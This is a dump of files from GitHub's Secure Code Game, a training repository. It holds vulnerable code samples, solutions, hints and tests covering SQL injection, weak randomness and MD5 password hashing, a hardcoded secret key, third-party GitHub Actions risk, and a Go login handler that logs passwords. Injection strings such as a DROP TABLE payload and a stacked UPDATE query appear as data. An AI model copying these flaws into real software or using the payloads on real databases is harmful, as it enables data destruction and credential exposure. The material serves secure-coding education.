2 | 3 | # Vulnerable 4 | con = sqlite3.connect('users.db') 5 | user_input = "Mary" 6 | sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');" 7 | con.executescript(sql_stmt) 8 | 9 | """ 10 | The above code is vulnerable to SQL injection because user_input is 11 | passed unsanitized to the query logic. This makes the query logic 12 | prone to being tampered. Consider the following input: 13 | 14 | user_input = "Mary'); DROP TABLE Users;--" 15 | 16 | which will result to the following query: 17 | 18 | "INSERT INTO Users (user) VALUES ('Mary'); DROP TABLE Users;--');" 19 | 20 | Now that you know what's wrong with the code, can you fix it? 21 | 22 | 23 | Contribute new levels to the game in 3 simple steps! 24 | Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md 25 | """ -------------------------------------------------------------------------------- /Season-1/Level-4/solution.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | 3 | # Please note: The following code is NOT expected to run and it's provided for explanation only 4 | 5 | # Vulnerable: this code will allow an attacker to insert the "DROP TABLE" SQL command into the query 6 | # and delete all users from the database. 7 | con = sqlite3.connect('example.db') 8 | user_input = "Mary'); DROP TABLE Users;--" 9 | sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');" 10 | con.executescript(sql_stmt) 11 | 12 | # Secure through Parameterized Statements 13 | con = sqlite3.connect('example.db') 14 | user_input = "Mary'); DROP TABLE Users;--" 15 | # The secure way to query a database is 16 | con.execute("INSERT INTO Users (user) VALUES (?)", (user_input,)) 17 | 18 | # Solution explanation: 19 | 20 | # The methodology used above to protect against SQL injection is the usage of parameterized 21 | # statements. They protect against user input tampering with the query logic 22 | # by using '?' as user input placeholders. 23 | 24 | # In the example above, the user input, as wrong as it is, will be inserted into the database 25 | # as a new user, but the DROP TABLE command will not be executed. 26 | 27 | # code.py has 5 methods namely: 28 | # (1) get_stock_info 29 | # (2) get_stock_price 30 | # (3) update_stock_price 31 | # (4) exec_multi_query 32 | # (5) exec_user_script 33 | 34 | # All methods are vulnerable! 35 | 36 | # Some are also suffering from bad design. 37 | # We believe that methods 1, 2, and 3 have a more security-friendly design compared 38 | # to methods 4 and 5. 39 | 40 | # This is because methods 4 and 5, by design, provide attackers with the chance of 41 | # arbitrary script execution. 42 | 43 | # We believe that security plays an important role and methods like 4 and 5 should be 44 | # avoided fully. 45 | 46 | # We, therefore, propose in our model solution to completely remove them instead of 47 | # trying to secure them in their existing form. A better approach would be to design 48 | # them from the beginning, like methods 1, 2, and 3, so that user input could be a 49 | # placeholder in pre-existing logic, instead of giving users the power of directly 50 | # injecting logic. 51 | 52 | # More details: 53 | # One protection available to prevent SQL injection is the use of prepared statements, 54 | # a database feature executing repeated queries. The protection stems from 55 | # the fact that queries are no longer executed dynamically. 56 | 57 | # The user input will be passed to a template placeholder, which means 58 | # that even if someone manages to pass unsanitized data to a query, the injection 59 | # will not be in position to modify the databases' query template. Therefore no SQL 60 | # injection will occur. 61 | 62 | # Widely-used web frameworks such as Ruby on Rails and Django offer built-in 63 | # protection to help prevent SQL injection, but that shouldn't stop you from 64 | # following good practices. Contextually, be careful when handling user input 65 | # by planning for the worst and never trusting the user. 66 | 67 | # The GitHub Security Lab covered this flaw in one episode of Security Bites, 68 | # its series on secure programming: https://youtu.be/VE6c57Tk5gM 69 | 70 | # We also covered this flaw in a blog post about OWASP's Top 10 proactive controls: 71 | # https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/ -------------------------------------------------------------------------------- /Season-1/Level-4/tests.py: -------------------------------------------------------------------------------- 1 | ''' 2 | Please note: 3 | 4 | The first file that you should run in this level is tests.py for database creation, with all tests passing. 5 | Remember that running the hack.py will change the state of the database, causing some tests inside tests.py 6 | to fail. 7 | 8 | If you like to return to the initial state of the database, please delete the database (level-4.db) and run 9 | the tests.py again to recreate it. 10 | ''' 11 | 12 | import unittest 13 | import code as c 14 | 15 | class TestDatabase(unittest.TestCase): 16 | 17 | # tests for correct retrieval of stock info given a symbol 18 | def test_1(self): 19 | op = c.DB_CRUD_ops() 20 | expected_output = "[METHOD EXECUTED] get_stock_info\n[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'\n[RESULT] ('2022-01-06', 'MSFT', 300.0)" 21 | actual_output = op.get_stock_info('MSFT') 22 | self.assertEqual(actual_output, expected_output) 23 | 24 | # tests for correct defense against SQLi in the case where a user passes more than one query or restricted characters 25 | def test_2(self): 26 | op = c.DB_CRUD_ops() 27 | expected_output = "[METHOD EXECUTED] get_stock_info\n[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'; UPDATE stocks SET price = '500' WHERE symbol = 'MSFT'--'\nCONFIRM THAT THE ABOVE QUERY IS NOT MALICIOUS TO EXECUTE" 28 | actual_output = op.get_stock_info("MSFT'; UPDATE stocks SET price = '500' WHERE symbol = 'MSFT'--") 29 | self.assertEqual(actual_output, expected_output) 30 | 31 | # tests for correct retrieval of stock price 32 | def test_3(self): 33 | op = c.DB_CRUD_ops() 34 | expected_output = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)\n" 35 | actual_output = op.get_stock_price('MSFT') 36 | self.assertEqual(actual_output, expected_output) 37 | 38 | # tests for correct update of stock price given symbol and updated price 39 | def test_4(self): 40 | op = c.DB_CRUD_ops() 41 | expected_output = "[METHOD EXECUTED] update_stock_price\n[QUERY] UPDATE stocks SET price = '300' WHERE symbol = 'MSFT'\n" 42 | actual_output = op.update_stock_price('MSFT', 300.0) 43 | self.assertEqual(actual_output, expected_output) 44 | 45 | # tests for correct execution of multiple queries 46 | def test_5(self): 47 | op = c.DB_CRUD_ops() 48 | query_1 = "[METHOD EXECUTED] exec_multi_query\n[QUERY]SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,) " 49 | query_2 = "[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'\n[RESULT] ('2022-01-06', 'MSFT', 300.0) " 50 | expected_output = query_1 + query_2 51 | actual_output = op.exec_multi_query("SELECT price FROM stocks WHERE symbol = 'MSFT'; SELECT * FROM stocks WHERE symbol = 'MSFT'") 52 | self.assertEqual(actual_output, expected_output) 53 | 54 | # tests for correct execution of user script 55 | def test_6(self): 56 | op = c.DB_CRUD_ops() 57 | expected_output = "[METHOD EXECUTED] exec_user_script\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)" 58 | actual_output = op.exec_user_script("SELECT price FROM stocks WHERE symbol = 'MSFT'") 59 | self.assertEqual(actual_output, expected_output) 60 | 61 | if __name__ == '__main__': 62 | unittest.main() -------------------------------------------------------------------------------- /Season-1/Level-5/code.py: -------------------------------------------------------------------------------- 1 | # Welcome to Secure Code Game Season-1/Level-5! 2 | 3 | # This is the last level of our first season, good luck! 4 | 5 | import binascii 6 | import random 7 | import secrets 8 | import hashlib 9 | import os 10 | import bcrypt 11 | 12 | class Random_generator: 13 | 14 | # generates a random token 15 | def generate_token(self, length=8, alphabet=( 16 | '0123456789' 17 | 'abcdefghijklmnopqrstuvwxyz' 18 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 19 | )): 20 | return ''.join(random.choice(alphabet) for _ in range(length)) 21 | 22 | # generates salt 23 | def generate_salt(self, rounds=12): 24 | salt = ''.join(str(random.randint(0, 9)) for _ in range(21)) + '.' 25 | return f'$2b${rounds}${salt}'.encode() 26 | 27 | class SHA256_hasher: 28 | 29 | # produces the password hash by combining password + salt because hashing 30 | def password_hash(self, password, salt): 31 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest()) 32 | password_hash = bcrypt.hashpw(password, salt) 33 | return password_hash.decode('ascii') 34 | 35 | # verifies that the hashed password reverses to the plain text version on verification 36 | def password_verification(self, password, password_hash): 37 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest()) 38 | password_hash = password_hash.encode('ascii') 39 | return bcrypt.checkpw(password, password_hash) 40 | 41 | class MD5_hasher: 42 | 43 | # same as above but using a different algorithm to hash which is MD5 44 | def password_hash(self, password): 45 | return hashlib.md5(password.encode()).hexdigest() 46 | 47 | def password_verification(self, password, password_hash): 48 | password = self.password_hash(password) 49 | return secrets.compare_digest(password.encode(), password_hash.encode()) 50 | 51 | # a collection of sensitive secrets necessary for the software to operate 52 | PRIVATE_KEY = os.environ.get('PRIVATE_KEY') 53 | PUBLIC_KEY = os.environ.get('PUBLIC_KEY') 54 | SECRET_KEY = 'TjWnZr4u7x!A%D*G-KaPdSgVkXp2s5v8' 55 | PASSWORD_HASHER = 'MD5_hasher' 56 | 57 | 58 | # Contribute new levels to the game in 3 simple steps! 59 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md -------------------------------------------------------------------------------- /Season-1/Level-5/hack.py: -------------------------------------------------------------------------------- 1 | # For this level check the CodeQL alerts produced by GitHub code scanning. 2 | 3 | # Enable CodeQL [Text]: https://github.co/3rOmI2k 4 | # Enable CodeQL [Video]: https://youtu.be/MdRvrbExaFk 5 | # Learn more: https://codeql.github.com/ 6 | 7 | # Is it enough though for the code to be 100% secure? ;) -------------------------------------------------------------------------------- /Season-1/Level-5/hint.txt: -------------------------------------------------------------------------------- 1 | Does the code: 2 | a) reinvent the wheel or 3 | b) is using cryptographically approved libraries? -------------------------------------------------------------------------------- /Season-1/Level-5/solution.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import secrets 3 | import hashlib 4 | import os 5 | import bcrypt 6 | 7 | class Random_generator: 8 | 9 | # generates a random token using the secrets library for true randomness 10 | def generate_token(self, length=8, alphabet=( 11 | '0123456789' 12 | 'abcdefghijklmnopqrstuvwxyz' 13 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 14 | )): 15 | return ''.join(secrets.choice(alphabet) for i in range(length)) 16 | 17 | # generates salt using the bcrypt library which is a safe implementation 18 | def generate_salt(self, rounds=12): 19 | return bcrypt.gensalt(rounds) 20 | 21 | class SHA256_hasher: 22 | 23 | # produces the password hash by combining password + salt because hashing 24 | def password_hash(self, password, salt): 25 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest()) 26 | password_hash = bcrypt.hashpw(password, salt) 27 | return password_hash.decode('ascii') 28 | 29 | # verifies that the hashed password reverses to the plain text version on verification 30 | def password_verification(self, password, password_hash): 31 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest()) 32 | password_hash = password_hash.encode('ascii') 33 | return bcrypt.checkpw(password, password_hash) 34 | 35 | # a collection of sensitive secrets necessary for the software to operate 36 | PRIVATE_KEY = os.environ.get('PRIVATE_KEY') 37 | PUBLIC_KEY = os.environ.get('PUBLIC_KEY') 38 | SECRET_KEY = os.environ.get('SECRET_KEY') 39 | PASSWORD_HASHER = 'SHA256_hasher' 40 | 41 | # Solution explanation: 42 | 43 | # Some mistakes are basic, like choosing a cryptographically-broken algorithm 44 | # or committing secret keys directly in your source code. 45 | 46 | # You are more likely to fall for something more advanced, like using functions that 47 | # seem random but produce a weak randomness. 48 | 49 | # The code suffers from: 50 | # - reinventing the wheel by generating salt manually instead of calling gensalt() 51 | # - not utilizing the full range of possible salt values 52 | # - using the random module instead of the secrets module 53 | 54 | # Notice that we used the “random” module, which is designed for modeling and simulation, 55 | # not for security or cryptography. 56 | 57 | # A good practice is to use modules specifically designed and, most importantly, 58 | # confirmed by the security community as secure for cryptography-related use cases. 59 | 60 | # To fix the code, we used the “secrets” module, which provides access to the most secure 61 | # source of randomness on my operating system. I also used functions for generating secure 62 | # tokens and hard-to-guess URLs. 63 | 64 | # Other python modules approved and recommended by the security community include argon2 65 | # and pbkdf2. -------------------------------------------------------------------------------- /Season-1/Level-5/tests.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import code as c 3 | 4 | class TestCrypto(unittest.TestCase): 5 | 6 | # verifies that hash and verification are matching each other for SHA 7 | def test_1(self): 8 | rd = c.Random_generator() 9 | sha256 = c.SHA256_hasher() 10 | pass_ver = sha256.password_verification("abc", sha256.password_hash("abc",rd.generate_salt())) 11 | self.assertEqual(pass_ver, True) 12 | 13 | # verifies that hash and verification are matching each other for MD5 14 | def test_2(self): 15 | md5 = c.MD5_hasher() 16 | md5_hash = md5.password_verification("abc", md5.password_hash("abc")) 17 | self.assertEqual(md5_hash, True) 18 | 19 | if __name__ == '__main__': 20 | unittest.main() -------------------------------------------------------------------------------- /Season-1/README.md: -------------------------------------------------------------------------------- 1 | # Secure Code Game 2 | 3 | _Welcome to Secure Code Game - Season 1!_ :wave: 4 | 5 | To get started, please follow the 🛠️ set up guide (if you haven't already) from the [welcome page](https://gh.io/securecodegame). 6 | 7 | ## Season 1 - Level 1: Cyber Monday 8 | 9 | _Welcome to Level 1!_ :chess_pawn: 10 | 11 | Languages: `python3` 12 | 13 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 14 | 15 | ### 📝 Storyline 16 | 17 | A few days before the massive shopping event Cyber Monday, an electronics shop without an online presence rushed to create a website to reach a broader customer base. As a result, they spent all their budget on development without investing in security. Do you have what it takes to fix the bug and progress to Level 2? 18 | 19 | ### :keyboard: What's in the repo? 20 | 21 | For each level, you will find the same file structure: 22 | 23 | - `code` includes the vulnerable code to be reviewed. 24 | - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass. 25 | - `hint` offers a hint if you get stuck. 26 | - `solution` provides one working solution. There are several possible solutions. 27 | - `tests` contains the unit tests that should still pass after you have implemented your fix. 28 | 29 | ### 🚦 Time to start! 30 | 31 | 1. Review the code in `code.py`. Can you spot the bug(s)? 32 | 1. Try to fix the bug. Ensure that unit tests are still passing 🟢. 33 | 1. You successfully completed the level when both `hack.py` and `tests.py` pass 🟢. 34 | 1. If you get stuck, read the hint in the `hint.js` file. 35 | 1. Compare your solution with `solution.py`. 36 | 37 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 38 | 39 | ## Season 1 - Level 2: Matrix 40 | 41 | _You have completed Level 1: Cyber Monday! Welcome to Level 2: Matrix_ :tada: 42 | 43 | Languages: `C` 44 | 45 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 46 | 47 | ### 📝 Storyline 48 | 49 | At the time "The Matrix" was first released in 1999, programming was different. In the movie, a computer programmer named Thomas "Neo" Anderson leads the fight in an underground war against powerful computers who have constructed his entire reality with a system called the Matrix. Do you have what it takes to win that war and progress to Level 3? 50 | 51 | ### :keyboard: What's in the repo? 52 | 53 | For each level, you will find the same file structure: 54 | 55 | - `code` includes the vulnerable code to be reviewed. 56 | - `hack` exploits the vulnerabilities in `code`. Running `hack.c` will fail initially, your goal is to get this file to pass 🟢. 57 | - `hint` offers a hint if you get stuck. 58 | - `solution` provides one working solution. There are several possible solutions. 59 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix. 60 | 61 | ### 🚦 Time to start! 62 | 63 | 1. Review the code in `code.h`. Can you spot the bug(s)? 64 | 1. Try to fix the bug. Ensure that unit tests are still passing. 65 | 1. The level is completed successfully when both `hack.c` and `tests.c` pass 🟢. 66 | 1. If you get stuck, read the hint in the `hint.txt` file. 67 | 1. Compare your solution with `solution.c`. 68 | 69 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 70 | 71 | ## Season 1 - Level 3: Social Network 72 | 73 | _Nice work finishing Level 2: Matrix! It's now time for Level 3: Social Network_ :sparkles: 74 | 75 | Languages: `python3` 76 | 77 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 78 | 79 | ### 📝 Storyline 80 | 81 | The following fictitious story takes place in the mid-2030s. Authorities worldwide have become more digitized. Various governments are adapting social network technology to fight crime. The goal is to establish local communities that foster collaboration by supporting citizens with government-related questions. Other features include profile pictures, hashtags, real-time support in comments, and public tip sharing. Do you have what it takes to secure the social network and progress to Level 4? 82 | 83 | ### :keyboard: Setup instructions 84 | 85 | - For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." 86 | 87 | ### :keyboard: What's in the repo? 88 | 89 | For each level, you will find the same file structure: 90 | 91 | - `code` includes the vulnerable code to be reviewed. 92 | - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟢. 93 | - `hint` offers a hint if you get stuck. 94 | - `solution` provides one working solution. There are several possible solutions. 95 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix. 96 | 97 | ### 🚦 Time to start! 98 | 99 | 1. Review the code in `code.py`. Can you spot the bug(s)? 100 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. 101 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢. 102 | 1. If you get stuck, read the hint and try again. 103 | 1. If you need more guidance, read the CodeQL scanning alerts. 104 | 1. Compare your solution to `solution.py`. 105 | 106 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 107 | 108 | ## Season 1 - Level 4: Data Bank 109 | 110 | _Nicely done! Level 3: Social Network from Season 1 is complete. It's time for Level 4: Database_ :partying_face: 111 | 112 | Languages: `python3`, `sql` 113 | 114 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 115 | 116 | ### 📝 Storyline 117 | 118 | Databases are essential for our applications. However, malicious actors only need one entry point to exploit a database, so defenders must continuously protect all entry points. Can you secure them all? 119 | 120 | ### :keyboard: Setup instructions 121 | 122 | For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." 123 | 124 | ### :keyboard: What's in the repo? 125 | 126 | For each level, you will find the same file structure: 127 | 128 | - `code` includes the vulnerable code to be reviewed. 129 | - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟢. 130 | - `hint` offers a hint if you get stuck. 131 | - `solution` provides one working solution. There are several possible solutions. 132 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix. 133 | 134 | ### 🚦 Time to start! 135 | 136 | 1. Review the code in `code.py`. Can you spot the bug(s)? 137 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. 138 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢. 139 | 1. If you get stuck, read the hint and try again. 140 | 1. If you need more guidance, read the CodeQL scanning alerts. 141 | 1. Compare your solution to `solution.py`. 142 | 143 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 144 | 145 | ## Season 1 - Level 5: Locanda 146 | 147 | _Almost there! One level to go and complete Season 1!_ :heart: 148 | 149 | Languages: `python3` 150 | 151 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 152 | 153 | ### 📝 Storyline 154 | 155 | It's a common myth that passwords should be complex. In reality, it's more important that passwords are long. Some people choose phrases as their passwords. Users should avoid common expressions from movies, books, or songs to safeguard against dictionary attacks. Your password may be strong, but for this exercise, a website you have registered with has made a fatal but quite common mistake. Can you spot and fix the bug? Good luck! 156 | 157 | ### :keyboard: Setup instructions 158 | 159 | For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)." 160 | 161 | ### :keyboard: What's in the repo? 162 | 163 | For each level, you will find the same file structure: 164 | 165 | - `code` includes the vulnerable code to be reviewed. 166 | - `hack` exploits the vulnerabilities in `code`. In this level, this file is inactive. 167 | - `hint` offers a hint if you get stuck. 168 | - `solution` provides one working solution. There are several possible solutions. 169 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix. 170 | 171 | ### 🚦 Time to start! 172 | 173 | 1. Review the code in `code.py`. Can you spot the bug(s)? 174 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch. 175 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) `tests.py` pass 🟢. Notice that `hack.py` in this level is inactive. 176 | 1. If you get stuck, read the hint and try again. 177 | 1. If you need more guidance, read the CodeQL scanning alerts. 178 | 1. Compare your solution to `solution.py`. 179 | 180 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel. 181 | 182 | ## Finish 183 | 184 | _Congratulations, you've completed Season 1! Ready for Season 2?_ 185 | 186 | Here's a recap of all the tasks you've accomplished: 187 | 188 | - You practiced secure code principles by spotting and fixing vulnerable patterns in real-world code. 189 | - You assessed your solutions against exploits developed by GitHub Security Lab experts. 190 | - You utilized GitHub code scanning features and understood the security alerts generated against your code. 191 | 192 | ### What's next? 193 | 194 | - Follow [GitHub Security Lab](https://twitter.com/ghsecuritylab) for the latest updates and announcements about this course. 195 | - Play Season 2 with new levels in `javascript`, `go`, `python3` and `GitHub Actions`! 196 | - Contribute new levels to the game in 3 simple steps! Read our [Contribution Guideline](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md). 197 | - Share your feedback and ideas in our [Discussions](https://github.com/skills/secure-code-game/discussions) and join our community on [Slack](https://gh.io/securitylabslack). 198 | - [Take another skills course](https://skills.github.com/). 199 | - [Read more about code security](https://docs.github.com/en/code-security). 200 | - To find projects to contribute to, check out [GitHub Explore](https://github.com/explore). 201 | 202 |
203 | 204 | 208 | 209 | --- 210 | 211 | Get help: Email us at securitylab-social@github.com • [Review the GitHub status page](https://www.githubstatus.com/) 212 | 213 | © 2024 GitHub • [Code of Conduct](https://www.contributor-covenant.org/version/2/1/code_of_conduct/code_of_conduct.md) • [MIT License](https://gh.io/mit) 214 | 215 |
-------------------------------------------------------------------------------- /Season-2/Level-1/code.yml: -------------------------------------------------------------------------------- 1 | # Welcome to Secure Code Game Season-2/Level-1! 2 | 3 | # Follow the instructions below to get started: 4 | 5 | # Due to the nature of GitHub Actions, please find this level's vulnerable code inside: 6 | # .github/workflows/jarvis-code.yml 7 | 8 | # That is by navigating to: 9 | # .github/ 10 | # > workflows/ 11 | # > jarvis-code.yml -------------------------------------------------------------------------------- /Season-2/Level-1/hack.yml: -------------------------------------------------------------------------------- 1 | # Due to the nature of GitHub Actions, please find this level's hack file inside: 2 | # .github/workflows/jarvis-hack.yml 3 | 4 | # That is by navigating to: 5 | # .github/ 6 | # > workflows/ 7 | # > jarvis-hack.yml -------------------------------------------------------------------------------- /Season-2/Level-1/hint-1.txt: -------------------------------------------------------------------------------- 1 | Have a look inside .github/workflows/jarvis-code.yml 2 | A GitHub Action is being used, can we trust it? 3 | 4 | Try again, without reading hint-2.txt ;-) -------------------------------------------------------------------------------- /Season-2/Level-1/hint-2.txt: -------------------------------------------------------------------------------- 1 | What impact do new dependancies have on the attack surface of a project? 2 | 3 | Do we really need a third-party GitHub Action to check GitHub's availability status? 4 | 5 | What if we could use https://www.githubstatus.com/api/v2/status.json without using any dependencies? -------------------------------------------------------------------------------- /Season-2/Level-1/solution.yml: -------------------------------------------------------------------------------- 1 | # Contribute new levels to the game in 3 simple steps! 2 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md 3 | 4 | name: CODE - Jarvis Gone Wrong 5 | 6 | on: 7 | push: 8 | paths: 9 | - ".github/workflows/jarvis-code.yml" 10 | 11 | jobs: 12 | jarvis: 13 | runs-on: ubuntu-latest 14 | permissions: 15 | contents: read 16 | steps: 17 | - name: Check GitHub Status 18 | run: | 19 | STATUS=$(curl -s https://www.githubstatus.com/api/v2/status.json | jq -r '.status.description') 20 | echo "GitHub Status: $STATUS" 21 | 22 | 23 | # Solution Explanation 24 | 25 | # There is no doubt that using a GitHub Action from the marketplace can add value to our CI/CD pipeline. 26 | # As with every expansion, our attack surface grows. In this case, we are both trusting a GitHub Action 27 | # from a questionable third-party and we are also creating a new dependency for our project. 28 | 29 | # Here are some steps to guide our decision-making process, before using a new GitHub Action: 30 | # 1. For simple tasks, avoid external GitHub Actions because the risk might outweigh the value. 31 | # 2. Use GitHub Actions from Verified Creators because they follow a strict security review process. 32 | # 3. Use Artifact Attestations to verify the piece of software you're using. Check references below. 33 | # 4. Use the latest version of a GitHub Action because it might contain security fixes. 34 | # 5. Pin the GitHub Action to a specific version by using GitHub Actions pinning. 35 | # 6. Think about GitHub Actions like dependencies: they need to be maintained and updated. 36 | # 7. Think about disabling or limiting GitHub Actions for your organization(s) in Settings. 37 | # 8. Have a PR process with multiple reviewers to avoid adding a malicious GitHub Action. 38 | 39 | # References: 40 | # New tool to secure your GitHub Actions: https://github.blog/2023-06-26-new-tool-to-secure-your-github-actions/ 41 | # How to enable artifact attestations: https://gh.io/docs-artifact-attestations 42 | # Short video on using third-party GitHub Actions like a PRO: https://www.youtube.com/shorts/eVbXtKylZpo 43 | # Short video on avoiding injections from malicious GitHub Actions: https://www.youtube.com/shorts/fVxTV5rZxhc 44 | # Short video on GitHub Actions' secrets privileges: https://www.youtube.com/shorts/1tD7km5jK70 45 | # Keeping your GitHub Actions and workflows secure: https://www.youtube.com/watch?v=Jn0kfAuJI2o 46 | # Finding and customizing a GitHub Action: https://docs.github.com/en/actions/learn-github-actions/finding-and-customizing-actions 47 | -------------------------------------------------------------------------------- /Season-2/Level-2/code.go: -------------------------------------------------------------------------------- 1 | // Welcome to Secure Code Game Season-2/Level-2! 2 | 3 | // Follow the instructions below to get started: 4 | 5 | // 1. code_test.go is passing but the code is vulnerable 6 | // 2. Review the code. Can you spot the bugs(s)? 7 | // 3. Fix the code.go, but ensure that code_test.go passes 8 | // 4. Run hack_test.go and if passing then CONGRATS! 9 | // 5. If stuck then read the hint 10 | // 6. Compare your solution with solution/solution.go 11 | 12 | package main 13 | 14 | import ( 15 | "encoding/json" 16 | "log" 17 | "net/http" 18 | "regexp" 19 | ) 20 | 21 | var reqBody struct { 22 | Email string `json:"email"` 23 | Password string `json:"password"` 24 | } 25 | 26 | func isValidEmail(email string) bool { 27 | // The provided regular expression pattern for email validation by OWASP 28 | // https://owasp.org/www-community/OWASP_Validation_Regex_Repository 29 | emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$` 30 | match, err := regexp.MatchString(emailPattern, email) 31 | if err != nil { 32 | return false 33 | } 34 | return match 35 | } 36 | 37 | func loginHandler(w http.ResponseWriter, r *http.Request) { 38 | 39 | // Test users 40 | var testFakeMockUsers = map[string]string{ 41 | "user1@example.com": "password12345", 42 | "user2@example.com": "B7rx9OkWVdx13$QF6Imq", 43 | "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO", 44 | "user4@example.com": "Log4Fun", 45 | } 46 | 47 | if r.Method == "POST" { 48 | 49 | decode := json.NewDecoder(r.Body) 50 | decode.DisallowUnknownFields() 51 | 52 | err := decode.Decode(&reqBody) 53 | if err != nil { 54 | http.Error(w, "Cannot decode body", http.StatusBadRequest) 55 | return 56 | } 57 | email := reqBody.Email 58 | password := reqBody.Password 59 | 60 | if !isValidEmail(email) { 61 | log.Printf("Invalid email format: %q", email) 62 | http.Error(w, "Invalid email format", http.StatusBadRequest) 63 | return 64 | } 65 | 66 | storedPassword, ok := testFakeMockUsers[email] 67 | if !ok { 68 | http.Error(w, "invalid email or password", http.StatusUnauthorized) 69 | return 70 | } 71 | 72 | if password == storedPassword { 73 | log.Printf("User %q logged in successfully with a valid password %q", email, password) 74 | w.WriteHeader(http.StatusOK) 75 | } else { 76 | http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) 77 | } 78 | 79 | } else { 80 | http.Error(w, "Invalid request method", http.StatusMethodNotAllowed) 81 | } 82 | } 83 | 84 | func main() { 85 | http.HandleFunc("/login", loginHandler) 86 | log.Print("Server started. Listening on :8080") 87 | err := http.ListenAndServe(":8080", nil) 88 | if err != nil { 89 | log.Fatalf("HTTP server ListenAndServe: %q", err) 90 | } 91 | } -------------------------------------------------------------------------------- /Season-2/Level-2/code_test.go: -------------------------------------------------------------------------------- 1 | // Run code_test.go by following the instructions below: 2 | 3 | // This file contains passing tests. 4 | 5 | 